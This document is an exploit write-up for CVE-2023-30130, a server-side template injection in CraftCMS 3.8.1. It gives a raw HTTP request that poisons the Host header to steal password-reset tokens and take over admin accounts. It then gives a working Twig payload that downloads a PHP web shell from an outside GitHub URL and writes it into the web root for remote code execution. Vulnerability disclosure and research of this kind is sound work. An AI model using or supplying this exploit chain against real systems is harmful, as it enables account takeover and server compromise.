# Server-Site Template Injection on CraftCMS 3.8.1
**Exploit Author:** Tin Pham (aka TF1T) and Trong Pham (aka Dtro) of VietSunshine Cyber Security Services
**Vendor of Product:** CraftCMS
**Affected Product Code Base:** 3.8.1
**CVE:** CVE-2023-30130
**Summary**:
An issue found in CraftCMS v.3.8.1 allows a remote attacker to execute arbitrary code via a crafted script to the Section parameter.
1. Go to Settings -> Section -> Edit entry types (Or create new section with Single's Section Type, then edit entry types)
2. Injection malicious code to Title Format, uses `file_get_contents` and `file_put_contents` to upload files and get RCE.
### **The story:**
CraftCMS is open source and a program of huntr.dev.
#### Bypass authentication
The Reset password is vulnerable to Head host poisoning, when an attacker changes Host header to attacker's domain/IP, the host of reset link that sends to victim email will be replaced with attacker's IP. If victim clicks the link, reset token will send to attacker server, so an attacker can assign new password and takeover target account.
RAW Request:
```
POST /craft_cms/web/index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1
Host: 0ghrrr0ekjckhxqmm60dk5jy8peg2aqz.oastify.com
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/98.0.4758.85 Mobile/15E148 Safari/604.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: Y6gyOuBAHhUN0BJn5W6WctXfds2d00I4SfLo0EtZ9zxiu-TCgmjyCBrQfA6UBHAgQJtKHrJY4h6diACDrZsITDGejrwfML1oKYOvkrsGuEo=
X-Requested-With: XMLHttpRequest
Content-Length: 16
Connection: close
Cookie: CraftSessionId=v5vpt4j31f7kr23p4ocgfau5n7; CRAFT_CSRF_TOKEN=2a0c3da686a677780c906774b0e732c1c2986d722ad895d238ae0d5e45626b26a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22yxN4tDn5MKXyW6tlHWvN0HJtxlflTiJTK8KP9nJB%22%3B%7D
loginName=admin
```
#### RCE
At admin site, we see multiple location allowing user that enter Template code, one of them is at Create a new section with Single's Section Type.
We can inject Twig template to Title Format when editing Entry Types of this section.
default Title Format
We can use 2 function `file_get_contents` and `file_put_contents` to RCE as below:
Payload:
```
{% set source=['https://raw.githubusercontent.com/trungtin1998/Scripts/master/PwnFunction.php']|map('file_get_contents')|join %} {{{(source):"/var/www/html/shell.php"}|map("file_put_contents")|join()}}
```
Access /shell.php to execute command:
**Impact:** Code execution
